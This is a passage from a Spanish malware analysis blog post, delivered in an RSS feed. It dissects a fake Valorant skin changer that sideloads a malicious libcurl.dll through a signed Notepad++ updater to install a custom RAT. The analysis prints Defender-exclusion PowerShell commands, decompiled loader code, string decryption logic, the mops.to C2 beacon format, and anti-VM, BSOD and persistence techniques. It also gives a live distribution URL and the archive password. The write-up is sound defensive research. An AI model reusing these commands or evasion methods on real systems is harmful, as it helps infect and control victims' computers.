<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Bajo el Teclado</title><link>https://pointedsec.github.io/tags/rat/</link><description>Recent content on Bajo el Teclado</description><generator>Hugo -- gohugo.io</generator><language>es</language><managingEditor>adelcerrorodriguez@gmail.com (Andrés Del Cerro)</managingEditor><webMaster>adelcerrorodriguez@gmail.com (Andrés Del Cerro)</webMaster><copyright>© 2024 pointedsec</copyright><lastBuildDate>Sun, 11 Oct 2026 09:00:00 +0200</lastBuildDate><atom:link href="https://pointedsec.github.io/tags/rat/index.xml" rel="self" type="application/rss+xml"/><item><title>Skins gratis y un RAT de regalo: anatomía del falso Valorant Skin Changer</title><link>https://pointedsec.github.io/writeups/skin-changer-valorant-rat-mops-to/</link><pubDate>Sun, 11 Oct 2026 09:00:00 +0200</pubDate><author>adelcerrorodriguez@gmail.com (Andrés Del Cerro)</author><guid>https://pointedsec.github.io/writeups/skin-changer-valorant-rat-mops-to/</guid><description>Skins gratis y un RAT de regalo: anatomía del falso «Valorant Skin Changer» TL;DR. Un falso «skin changer» de Valorant que se reparte por Google Sites esconde un RAT privado multi-stage escrito a medida en C++. Su lanzador es el GUP.exe oficial y firmado de Notepad++ renombrado a Client.exe, que carga por DLL sideloading una libcurl.dll falsa. Esta descifra y ejecuta en memoria un stage-2 que se hace pasar por RuntimeBroker.</description><content:encoded><![CDATA[<h1 id="skins-gratis-y-un-rat-de-regalo-anatomía-del-falso-valorant-skin-changer">Skins gratis y un RAT de regalo: anatomía del falso «Valorant Skin Changer»</h1>
<blockquote>
<p><strong>TL;DR.</strong> Un falso «skin changer» de Valorant que se reparte por Google Sites esconde un <strong>RAT privado multi-stage escrito a medida en C++</strong>. Su lanzador es el <strong>GUP.exe oficial y firmado de Notepad++</strong> renombrado a <code>Client.exe</code>, que carga por <strong>DLL sideloading</strong> una <code>libcurl.dll</code> falsa. Esta descifra y ejecuta en memoria un stage-2 que se hace pasar por <code>RuntimeBroker.exe</code>, se instala en <code>C:\ProgramData</code>, se excluye de Windows Defender, persiste con tareas programadas falsas y llama a un C2 propio en <strong><code>mops.to:408</code></strong> mediante HTTP artesanal sobre sockets TCP. Si lo investigan o lo matan, provoca un <strong>pantallazo azul</strong> real.</p>
</blockquote>
<p><em>Fecha del análisis: 11 de octubre de 2026</em>
<em>Muestra: <code>/home/kali/Desktop/valorant-skin-changers/</code></em></p>
<hr>
<h2 id="1-resumen-ejecutivo">1. Resumen ejecutivo</h2>
<p>La muestra analizada es un <strong>RAT (Remote Access Trojan) privado, multi-stage, escrito a medida en C++</strong>, que se distribuye como un falso «skin changer» de Valorant a través de un sitio de Google Sites. El paquete incluye el <strong>GUP.exe oficial y firmado de Notepad++ renombrado a <code>Client.exe</code></strong>, que actúa como lanzador legítimo para la técnica de <strong>DLL sideloading</strong>: al ejecutarlo, carga una <code>libcurl.dll</code> falsa que contiene el cargador malicioso.</p>
<p>El cargador descifra y ejecuta en memoria un segundo stage que se hace pasar por <code>RuntimeBroker.exe</code> (proceso legítimo de Windows), se instala en <code>C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe</code>, desactiva Windows Defender para sus propias rutas, persiste mediante tareas programadas disfrazadas de servicios de Microsoft y se conecta a su servidor de control (<strong>C2</strong>) en <strong><code>mops.to</code>, puerto 408, mediante HTTP artesanal sobre sockets TCP crudos</strong>.</p>
<p>El bot se identifica ante el C2 con el identificador <strong><code>7571078989</code></strong> y envía la huella de la máquina (HWID, versión de Windows, nombre de usuario, antivirus instalado). A partir de ahí, queda a la espera de <strong>tareas remotas</strong>: ejecución de comandos shell, descarga de payloads por fragmentos («chunks») e inyección de código en procesos legítimos, con capacidad de cierre de tareas y auto-actualización.</p>
<p>No se han encontrado tokens de Discord, Telegram ni ningún otro tipo de API key embebida: la exfiltración y el control ocurren única y exclusivamente contra la infraestructura propia del actor.</p>
<hr>
<h2 id="2-ficha-técnica-de-la-muestra">2. Ficha técnica de la muestra</h2>
<table>
<thead>
<tr>
<th>Fichero</th>
<th>Tamaño</th>
<th>SHA-256</th>
<th>Veredicto</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Client.rar</code></td>
<td>115.848.097</td>
<td>MD5 <code>63ec681ba7e6694c55fa5b99c3ae5536</code></td>
<td>Empaquetador de distribución (contraseña: <code>3535</code>)</td>
</tr>
<tr>
<td><code>Client/Client.exe</code></td>
<td>804.688</td>
<td><code>eaac64c113ebaba1fae924ad1b6239a44c8806bf2b85d8dc11a27ad65a981cc1</code></td>
<td><strong>Legítimo</strong>: GUP.exe oficial de Notepad++ (firmado), renombrado. Usado como lanzador</td>
</tr>
<tr>
<td><code>Client/libcurl.dll</code></td>
<td>1.265.152</td>
<td><code>1aa245a0526450a76bfa127eddc986ff3c53b6bfb624787ea3f1a62f97672783</code></td>
<td><strong>Malicioso</strong>: cargador stage-1 (falsa libcurl)</td>
</tr>
<tr>
<td><code>Client/gup.xml</code></td>
<td>4.608</td>
<td>—</td>
<td>Configuración legítima del actualizador WinGup</td>
</tr>
<tr>
<td><code>Client/NvMessageBus.dll</code></td>
<td>2.926.543</td>
<td><code>84ffd8dcf2efd4dc9d01663fa8aacc9c36564ae0fae288a93fcb42ccda14a32f</code></td>
<td><strong>Señuelo</strong>: DLL legítima de NVIDIA (32 bits, ~mar-2025), corrupta e inutilizable</td>
</tr>
<tr>
<td><code>Client/data/Enumerate.cfg</code></td>
<td>10.056</td>
<td>—</td>
<td>Prop del paquete falsificado (cifrado ajeno al malware)</td>
</tr>
<tr>
<td><code>Client/data/GearDetectionEnumerate.cfg</code></td>
<td>420</td>
<td>—</td>
<td>Prop del paquete falsificado</td>
</tr>
<tr>
<td><code>Client/data/Lang.cfg</code></td>
<td>888</td>
<td>—</td>
<td>Prop del paquete falsificado (BOM UTF-16 en claro)</td>
</tr>
<tr>
<td><code>Client/data/Log/JPcd56xErJkLadWe</code></td>
<td>110.833.959</td>
<td>—</td>
<td>Relleno/prop de alto valor entrópico; no referenciado por el código</td>
</tr>
<tr>
<td><code>password.txt</code></td>
<td>147</td>
<td>—</td>
<td>Nota del propio actor con la contraseña y el enlace de distribución</td>
</tr>
<tr>
<td>Stage-2 extraído (RuntimeBrokerA)</td>
<td>534.528</td>
<td><code>a4cd739574d897c9620a1f33e1678c4a3bd481610d4790757a3684b3e1a608d9</code></td>
<td><strong>Malicioso</strong>: RAT final, descifrado durante este análisis</td>
</tr>
</tbody>
</table>
<p><strong>Fechas de compilación relevantes:</strong></p>
<ul>
<li><code>libcurl.dll</code> (stage-1): <strong>2 de octubre de 2026, 06:37:43 UTC</strong></li>
<li>Stage-2 interno: <strong>2 de octubre de 2026, 06:37:35 UTC</strong> (mismo acto de compilación, 8 segundos antes)</li>
<li>Dominio del C2 <code>mops.to</code>: creado el <strong>27 de septiembre de 2026</strong>, actualizado el <strong>2 de octubre de 2026</strong> (mismo día que la compilación del malware)</li>
</ul>
<p>Esta cronología indica una infraestructura dedicada comprada/preparada específicamente para esta campaña, montada en las dos semanas previas al empaquetado de la muestra.</p>
<hr>
<h2 id="3-punto-de-entrada-y-distribución">3. Punto de entrada y distribución</h2>
<p>El fichero <code>password.txt</code> incluido en la carpeta de la víctima (posiblemente una nota del propio actor o un resto de su pipeline) delata el vector de distribución:</p>






<pre tabindex="0"><code>https://sites.google.com/view/v2-35/home?authuser=0

Client.rar:3535</code></pre>
<p>Es decir:</p>
<ol>
<li>La víctima llega a un <strong>Google Sites</strong> falso que promueve el «skin changer» de Valorant (suplantación típica de este nicho: los skins de Valorant son de pago y hay gran demanda de alternativas fraudulentas).</li>
<li>Descarga <code>Client.rar</code> (115 MB, para parecer un producto «gordo» y legítimo).</li>
<li>El RAR está protegido con contraseña (<code>3535</code>) para evadir el análisis automático de sandboxes, servicios de correo y motores antivirus que no prueban archivos con contraseña.</li>
<li>La víctima extrae y ejecuta <code>Client.exe</code>.</li>
</ol>
<p>El elevado tamaño del RAR se explica por el fichero de relleno de 110 MB (<code>data/Log/JPcd56xErJkLadWe</code>): puro lastre para dar apariencia de producto real.</p>
<hr>
<h2 id="4-la-cadena-de-infección-visión-general">4. La cadena de infección (visión general)</h2>






<pre tabindex="0"><code>Google Sites falso
        |
        v
Client.rar (contraseña 3535)
        |
        v
Client.exe ............................. GUP.exe oficial de Notepad++ (FIRMADO, intacto)
        |                                  - ejecutado por el usuario
        |                                  - busca libcurl.dll en su directorio
        v
libcurl.dll (FALSA) .................... Stage-1: cargador malicioso
        |                                  - DllMain: inicialización
        |                                  - exige permisos de administrador
        |                                  - excluye sus rutas de Windows Defender
        |                                  - reensambla + descifra el stage-2
        v
RuntimeBrokerA.exe (en memoria) ........ Stage-2: RAT
        |                                  - se hace pasar por RuntimeBroker.exe
        |                                  - se copia a C:\ProgramData\Windows\Microsoft\
        |                                  - persiste con tareas programadas falsas
        |                                  - anti-VM / anti-sandbox / BSOD
        v
mops.to:408 ............................ C2 (HTTP artesanal sobre TCP)
        |                                  - GET /task/7571078989
        |                                  - info;&lt;HWID&gt;;&lt;Windows&gt;;&lt;usuario&gt;;&lt;7571078989&gt;
        |                                  - createtask / closetask / update
        v
cmd.exe SUSPENDIDO + inyección ......... Ejecución de payloads descargados por chunks</code></pre>
<hr>
<h2 id="5-análisis-stage-por-stage">5. Análisis stage por stage</h2>
<h3 id="51-stage-0--clientexe-el-lanzador-firmado">5.1 Stage 0 — <code>Client.exe</code>: el lanzador firmado</h3>
<p><code>Client.exe</code> es literalmente el <strong>GUP.exe (WinGup) oficial de Notepad++</strong>, el binario del actualizador que Don Ho firma con certificado de DigiCert.</p>
<p><strong>Verificación criptográfica realizada durante este análisis</strong> (librería <code>signify</code>):</p>






<pre tabindex="0"><code>firmas embebidas: 1
FIRMANTE: Notepad++ | Saint Cloud | Ile-de-France | FR
VERIFICACION: AuthenticodeVerificationResult.OK</code></pre>
<ul>
<li>La firma Authenticode es <strong>válida de extremo a extremo</strong>: el digest del PE y la cadena de certificados contra el almacén de confianza del sistema son correctos. <strong>Ni un solo byte fue modificado</strong> tras la firma: si el GUP hubiera sido trojanizado, el digest habría fallado.</li>
<li>No contiene overlay (el certificado termina exactamente al final del fichero).</li>
<li>Sus strings y URLs son únicamente las legítimas de WinGup/Notepad++ y DigiCert.</li>
</ul>
<p>La técnica de usar GUP.exe como lanzador de sideloading es un TTP público y documentado (lo empleó APT10 según FireEye, y existen reglas Sigma específicas de «Suspicious GUP Usage» para detectar GUP.exe ejecutado fuera de las carpetas de Notepad++).</p>
<p><strong>¿Por qué GUP?</strong> Porque importa <code>curl_easy_init</code>, <code>curl_easy_setopt</code>, <code>curl_easy_perform</code> y <code>curl_easy_cleanup</code> desde <code>libcurl.dll</code> <strong>en su tabla de imports</strong>: basta con colocar una DLL maliciosa con esos exportes junto al ejecutable para que Windows la cargue en cuanto arranca, ejecutando su <code>DllMain</code> con la reputación del firmado de Notepad++ como coartada.</p>
<p>El <code>gup.xml</code> incluido apunta a la URL legítima de actualización de Notepad++ (<code>https://notepad-plus-plus.org/update/getDownloadUrl.php</code>) con <code>SilentMode=yes</code>: el falso curl hace que la comprobación de actualizaciones falle en silencio y la ventana del GUP nunca molesta a la víctima.</p>
<h3 id="52-stage-1--libcurldll-el-cargador-empaquetado">5.2 Stage 1 — <code>libcurl.dll</code>: el cargador empaquetado</h3>
<p>La falsa <code>libcurl.dll</code> es un PE32+ x64 construido el 2 de octubre de 2026 con secciones de nombres aleatorios (<code>.f7f725</code>, <code>.6dc08e</code>, <code>.47f952</code>, <code>.389e69</code>) y ofuscación de aritmética booleana mixta (MBA) en todo el código. Señales inequívocas de que no es una curl real:</p>
<ul>
<li>Importa <strong>únicamente KERNEL32.dll</strong> (una curl real importa WS2_32, WLDAP32, etc.).</li>
<li>No contiene ni una sola cadena «curl» en claro.</li>
<li>Exporta la API de curl (<code>curl_easy_init</code>, <code>curl_easy_perform</code>&hellip;) como <strong>puntales vacíos</strong> que satisfacen los imports de GUP.</li>
</ul>
<h4 id="521-el-dllmain-y-el-gate-de-administrador">5.2.1 El DllMain y el gate de administrador</h4>
<p>El punto de entrada es minimalista:</p>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">1</span><span>undefined8 entry(undefined8 param_1, <span style="color:#fff;font-weight:bold">int</span> param_2)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">2</span><span>{
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">3</span><span>  <span style="color:#fff;font-weight:bold">if</span> (param_2 == <span style="color:#ff0;font-weight:bold">1</span>) {          <span style="color:#007f7f">// DLL_PROCESS_ATTACH
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">4</span><span><span style="color:#007f7f"></span>    FUN_18000ee40();
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">5</span><span>  }
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">6</span><span>  <span style="color:#fff;font-weight:bold">return</span> <span style="color:#ff0;font-weight:bold">1</span>;
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">7</span><span>}</span></span></code></pre></div>
<p>La inicialización descifra sus cadenas y carga las DLLs que usará más adelante (<code>urlmon.dll</code>, <code>wininet.dll</code>, <code>gdi32.dll</code>, <code>winmm.dll</code>, <code>shell32.dll</code>). El punto de control real llega cuando GUP llama a <code>curl_easy_init</code> (su primera llamada curl):</p>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 1</span><span>undefined8 curl_easy_init(<span style="color:#fff;font-weight:bold">void</span>)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 2</span><span>{
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 3</span><span>  iVar1 = FUN_180010460();               <span style="color:#007f7f">// ¿es administrador?
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 4</span><span><span style="color:#007f7f"></span>  <span style="color:#fff;font-weight:bold">if</span> (iVar1 == <span style="color:#ff0;font-weight:bold">0</span>) {
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 5</span><span>    <span style="color:#007f7f">// descifra: &#34;user32.dll&#34;, &#34;MessageBoxA&#34;,
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 6</span><span><span style="color:#007f7f"></span>    <span style="color:#007f7f">//           &#34;run with administrator rights&#34;, &#34;Error&#34;
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 7</span><span><span style="color:#007f7f"></span>    (*pFVar3)(<span style="color:#ff0;font-weight:bold">0</span>, local_48, local_58, <span style="color:#ff0;font-weight:bold">0x10</span>);   <span style="color:#007f7f">// MessageBoxA(NULL, texto, &#34;Error&#34;, MB_ICONERROR)
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 8</span><span><span style="color:#007f7f"></span>    ExitProcess(<span style="color:#ff0;font-weight:bold">0</span>);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 9</span><span>  }
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">10</span><span>  FUN_180015920();                        <span style="color:#007f7f">// payload: desempaquetar y lanzar el stage-2
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">11</span><span><span style="color:#007f7f"></span>  <span style="color:#fff;font-weight:bold">return</span> <span style="color:#ff0;font-weight:bold">0</span>;
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">12</span><span>}</span></span></code></pre></div>
<p>El gate usa <code>advapi32.dll</code> con <code>AllocateAndInitializeSid</code> + <code>CheckTokenMembership</code> (comprobación del SID del grupo Administradores). Si la víctima no ejecutó como administrador, la muestra lanza el mensaje <em>«run with administrator rights»</em> y muere sin ejecutar nada más: el RAT necesita elevación para sus tareas de evasión y persistencia.</p>
<h4 id="522-evasión-de-windows-defender-antes-de-cualquier-otra-cosa">5.2.2 Evasión de Windows Defender antes de cualquier otra cosa</h4>
<p>Lo <strong>primero</strong> que hace el stage-1 tras superar el gate es desactivar la protección para sus propias rutas (vía <code>cmd.exe /C</code> oculto, con CreateProcessA y <code>CREATE_NO_WINDOW</code>):</p>






<pre tabindex="0"><code>powershell -NoProfile -WindowStyle Hidden -Command &#34;Add-MpPreference -ExclusionPath $env:TEMP&#34;

powershell -NoProfile -WindowStyle Hidden -Command &#34;Add-MpPreference -ExclusionPath &#39;C:\ProgramData&#39;,
&#39;C:\ProgramData\Windows\Microsoft&#39;,&#39;C:\ProgramData\Microsoft\Windows&#39;&#34;

gpupdate /force</code></pre>
<p>Estas cadenas estaban cifradas en la sección <code>.6dc08e</code> del loader (cifrado XOR con clave de 16 bytes, ver sección 7). Obsérvese el detalle quirúrgico: <strong>las rutas excluidas son exactamente las rutas donde el RAT va a instalarse</strong> (<code>C:\ProgramData\Windows\Microsoft\</code> contiene a <code>RuntimeBrokerA.exe</code>). El <code>gpupdate /force</code> fuerza la aplicación inmediata de las exclusiones.</p>
<h4 id="523-el-desempaquetado-del-stage-2-el-corazón-del-loader">5.2.3 El desempaquetado del stage-2 (el corazón del loader)</h4>
<p><code>FUN_180015920</code> realiza un desempaquetado en cuatro pasos que reconstruí por completo y repliqué fuera de línea con emulación (Unicorn):</p>
<ol>
<li><strong>Reserva de buffers</strong>: <code>VirtualAlloc(NULL, 0xB68AC, MEM_COMMIT, RW)</code> y <code>VirtualAlloc(NULL, 0xA0000, ...)</code>.</li>
<li><strong>Reensamblado</strong>: <code>FUN_180040830</code> concatena <strong>5 fragmentos cifrados</strong> dispersos en la sección <code>.6dc08e</code> (en las direcciones virtuales <code>0x18007d9d0</code>, <code>0x1800a2220</code>, <code>0x1800c6a70</code>, <code>0x1800eb130</code> y <code>0x18010fa10</code>, de unos 150 KB cada uno; total <code>0xB686C</code> bytes). Fragmentar el payload evita firmas estáticas por contenido continuo.</li>
<li><strong>De-junking</strong>: <code>FUN_180040980</code> recorre el blob con un patrón <strong>copia 10 bytes / salta 4</strong>: de cada grupo de 14 bytes solo 10 son datos, los otros 4 son relleno aleatorio. El resultado son <code>0x82600</code> bytes de payload real cifrado.</li>
<li><strong>Descifrado CTR</strong>: <code>FUN_180001130</code> implementa un <strong>cifrador de bloques de 64 bits diseñado a medida</strong> (red Feistel con constante dorada 0x9E3779B1 y programación de clave de 32 bytes) usado en <strong>modo CTR</strong>: genera el flujo de clave <code>E(clave, contador)</code> con contador inicial <code>0x96E696FB_F46C49DE</code> y lo aplica con XOR por bloques de 8 bytes.</li>
</ol>
<p>El resultado es un <strong>PE x86-64 válido</strong> (cabecera MZ intacta, 10 secciones) que se ejecuta en memoria por mapeo manual. Este análisis reprodujo íntegramente el proceso y extrajo el binario final (<code>stage2.bin</code>, SHA-256 <code>a4cd7395...</code>), lo que permitió analizar el RAT sin necesidad de ejecutarlo.</p>
<p>Un hallazgo curioso: tras reensamblar los 5 fragmentos, <strong>queda un bloque inicial de ~133 KB de bytes aleatorios</strong> en la sección (entropía 7,998) que <strong>ninguna instrucción del malware referencia</strong>. Es relleno del empaquetador, posiblemente para despistar herramientas de extracción de payloads.</p>
<h3 id="53-stage-2--runtimebrokera-el-rat">5.3 Stage 2 — <code>RuntimeBrokerA</code>: el RAT</h3>
<p>El PE extraído es un RAT de 534 KB compilado con MSVC cuyos metadatos de versión lo <strong>disfrazan de un componente de Microsoft</strong>:</p>






<pre tabindex="0"><code>CompanyName:     Microsoft Windows
FileDescription: Windows Runtime Library
InternalName:    RuntimeBroker
OriginalFilename: RuntimeBroker.exe
ProductName:     Network Adapter Service
FileVersion:     1.3.29972.367</code></pre>
<p><code>RuntimeBroker.exe</code> es un proceso legítimo de Windows: el disfraz está pensado para que en el Administrador de tareas el proceso no llame la atención.</p>
<h4 id="531-ingeniería-de-cadenas-tres-capas-de-cifrado-de-strings">5.3.1 Ingeniería de cadenas: tres capas de cifrado de strings</h4>
<p>El RAT protege sus cadenas con <strong>tres mecanismos distintos</strong> que tuve que revertir uno a uno:</p>
<p><strong>Capa A — sección <code>.strenc</code>:</strong> una tabla de 16 cadenas cifradas (nombres de comandos del protocolo) con un descifrador tipo RC4 con S-box embebida en el código y <strong>16 claves de 8 bytes</strong> almacenadas en la propia sección (offsets 0xA0-0x120). Cadena y clave se emparejan por posición:</p>






<pre tabindex="0"><code>ntdll.dll | RtlSetProcessIsCritical | NtQueryInformationProcess | RtlInitUnicodeString |
cmd.exe /C  | _chunk_ | task; | task_id; | createtask | type; | version; | param; |
update | task_done; | closetask | task | unknown</code></pre>
<p><strong>Capa B — cadenas en variables TLS (thread-local storage):</strong> la enorme mayoría de las cadenas se descifran bajo demanda a buffers en el TLS del hilo. Cada «descriptor de acceso» descifra su cadena con un algoritmo por byte:</p>






<pre tabindex="0"><code>plain[i] = ROR8(cipher[i], (i % 7) + 1) XOR ((i * 13 + 0xA3) &amp; 0xFF)</code></pre>
<p>Es decir: rotación a la derecha de 1 a 7 bits (según la posición del byte) y XOR con una función lineal de la posición. <strong>No hay clave</strong>: el propio algoritmo es el secreto. Para las cadenas UTF-16 el descifrador usa únicamente el byte bajo de cada word (el alto es relleno).</p>
<p>Con esto recuperé la tabla completa de cadenas del RAT (~140 cadenas), que revela virtualmente todo su comportamiento (ver sección 13).</p>
<p><strong>Capa C — configuración global:</strong> 13 cadenas de configuración se resuelven en una tabla de punteros en <code>.data</code> al arrancar, entre ellas las críticas:</p>
<table>
<thead>
<tr>
<th>Config</th>
<th>Valor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ruta de instalación</td>
<td><code>C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe</code></td>
</tr>
<tr>
<td><strong>Host del C2</strong></td>
<td><code>mops.to</code></td>
</tr>
<tr>
<td>Puerto principal</td>
<td><code>408</code></td>
</tr>
<tr>
<td>Puerto de verificación</td>
<td><code>406</code></td>
</tr>
<tr>
<td>Identificador de bot</td>
<td><code>7571078989</code></td>
</tr>
<tr>
<td>Versión del protocolo</td>
<td><code>1.0.0</code></td>
</tr>
<tr>
<td>Comandos</td>
<td><code>ready;</code>, <code>;version;</code>, <code>ping</code>, <code>pong</code>, <code>getinfo</code>, <code>info;</code>, <code>task</code></td>
</tr>
</tbody>
</table>
<h4 id="532-antianálisis-el-bicho-no-es-ninguna-broma">5.3.2 Antianálisis: el bicho no es ninguna broma</h4>
<p>El RAT despliega una de las suites anti-análisis más completas que he visto en un malware de nicho:</p>
<p><strong>Anti-VM / anti-sandbox</strong> (enumeración de hardware y software de virtualización):</p>
<ul>
<li>Drivers y dispositivos: <code>VBoxMouse.sys</code>, <code>VBoxGuest.sys</code>, <code>VBoxSF.sys</code>, <code>VBoxVideo.sys</code>, <code>vboxdrv.sys</code>, <code>vmmouse.sys</code>, <code>vmhgfs.sys</code>, <code>vm3dmp.sys</code>, <code>vmci.sys</code>, <code>vmxnet.sys</code>, <code>qemupciserial.sys</code>, <code>qemupcivideo.sys</code>, <code>prl_boot.sys</code>, <code>prl_eth.sys</code>, <code>prl_fs.sys</code>, <code>xen.sys</code>, <code>xenfilt.sys</code>, <code>xenvbd.sys</code>&hellip;</li>
<li>Rutas de dispositivos: <code>\\.\VBoxMiniRdrDN</code>, <code>\\.\HGFS</code>, <code>\\.\prl_usb_mouse</code></li>
<li>Puertas mágicas de CPU: <code>KVMKVMKVM</code>, <code>VMwareVMware</code>, <code>XenVMMXenVMM</code>, <code>VBoxVBoxVBox</code>, <code>QEMU</code></li>
<li>Adaptadores de pantalla virtuales: «VMware SVGA II/3D», «VirtualBox Graphics Adapter», «Hyper-V Video», «Parallels Display Adapter», «Citrix Indirect Display Adapter», «Microsoft Basic Render Driver», «Standard VGA Graphics Adapter», y modelos de GPU reales de referencia (Broadwell, EPYC, G6900) consultados vía <code>d3d9.dll!Direct3DCreate9</code></li>
<li><strong>Detección específica del sandbox ANY.RUN</strong>: cadenas <code>anyrun</code> y <code>anyrun GPU</code> — el actor sabe que su muestra acabará ahí y quiere morir antes de mostrar comportamiento.</li>
</ul>
<p><strong>Contramedidas activas:</strong></p>
<ul>
<li><strong>BSOD deliberado</strong>: <code>RtlAdjustPrivilege</code> (SeShutdownPrivilege) + <code>NtRaiseHardError(0xC0000420, ..., 6, ...)</code> — provoca una pantalla azul real del sistema de la víctima.</li>
<li><strong>Proceso crítico</strong>: <code>RtlSetProcessIsCritical</code> — si alguien mata el proceso del RAT, Windows entero cae con pantallazo azul. Brillante defensa contra herramientas de limpieza manuales.</li>
<li><strong>Parcheo de AMSI</strong>: cadenas <code>amsi.dll</code> + <code>AmsiOpenSession</code> (invalidación de la interfaz de análisis de scripts para que PowerShell deje de reportar).</li>
<li>Antidebug mediante comprobaciones de proceso/token.</li>
</ul>
<p><strong>Enumeración del antivirus de la víctima</strong> vía WMI, que se incluye en el reporte al C2:</p>






<pre tabindex="0"><code>ROOT\SecurityCenter2
ROOT\SecurityCenter
SELECT displayName FROM AntiVirusProduct
SELECT displayName FROM AntiSpywareProduct</code></pre>
<h4 id="533-persistencia">5.3.3 Persistencia</h4>
<p>El RAT se copia a <code>C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe</code> (recuérdese: la ruta está <strong>excluida de Defender por el stage-1</strong>) y crea persistencia mediante <strong>tareas programadas con nombres y rutas que imitan tareas de mantenimiento de Microsoft</strong>, elevándose por el moniker COM:</p>






<pre tabindex="0"><code>Elevation:Administrator!new:
GUID: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
Duración: PT0S</code></pre>
<p>Nombres de tareas observados en las cadenas cifradas:</p>






<pre tabindex="0"><code>SvcRestartTaskWindowsLoginsA
ProgramDataUpdateA
ScheduledDefA
MicrosoftUpdaterMachineCoreA
BootTrigger                          (disparador de arranque)
TimeRepetition                       (repetición periódica)</code></pre>
<p>Rutas falsificadas de las tareas: <code>\Microsoft\Windows\SoftwareProtectionPlatform</code>, <code>\Microsoft\Windows\RegisterDeviceAccountChange</code>, <code>\Microsoft\Windows\EDP</code>, <code>\Microsoft\Location</code>, y la descripción camuflada <em>«Handles restoring settings from the cloud»</em>.</p>
<p>Además emplea un <strong>mutex de única instancia</strong> (<code>Global\RuntimeBrokerAdsA</code>) y ajusta privilegios con <code>LookupPrivilegeValueW</code>/<code>AdjustTokenPrivileges</code> (incluido <code>SeIncreaseQuotaPrivilege</code>).</p>
<hr>
<h2 id="6-el-c2-mopsto">6. El C2: <code>mops.to</code></h2>
<h3 id="61-infraestructura">6.1 Infraestructura</h3>
<table>
<thead>
<tr>
<th>Atributo</th>
<th>Valor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dominio</td>
<td><code>mops.to</code></td>
</tr>
<tr>
<td>Dirección actual</td>
<td><code>45.91.202.47</code></td>
</tr>
<tr>
<td>DNS</td>
<td>Cloudflare (<code>gloria.ns.cloudflare.com</code>, <code>vicky.ns.cloudflare.com</code>)</td>
</tr>
<tr>
<td>Registrador</td>
<td>Tonic (TLD <code>.to</code> de Tonga, barato y con whois privado de facto)</td>
</tr>
<tr>
<td>Fecha de alta</td>
<td><strong>27 de septiembre de 2026</strong> (dos semanas antes del build)</td>
</tr>
<tr>
<td>Última actualización</td>
<td><strong>2 de octubre de 2026</strong> (mismo día de la compilación de la muestra)</td>
</tr>
<tr>
<td>Estado al sondear</td>
<td>Vivo; responde <code>Access denied</code> a peticiones curl genéricas en el puerto 408</td>
</tr>
</tbody>
</table>
<p>El dominio se registró específicamente para esta campaña y se retocó el mismo día en que el autor empaquetó la muestra: infraestructura dedicada, no compartida con otras operaciones.</p>
<h3 id="62-transporte-http-artesanal-sobre-tcp-crudo">6.2 Transporte: HTTP artesanal sobre TCP crudo</h3>
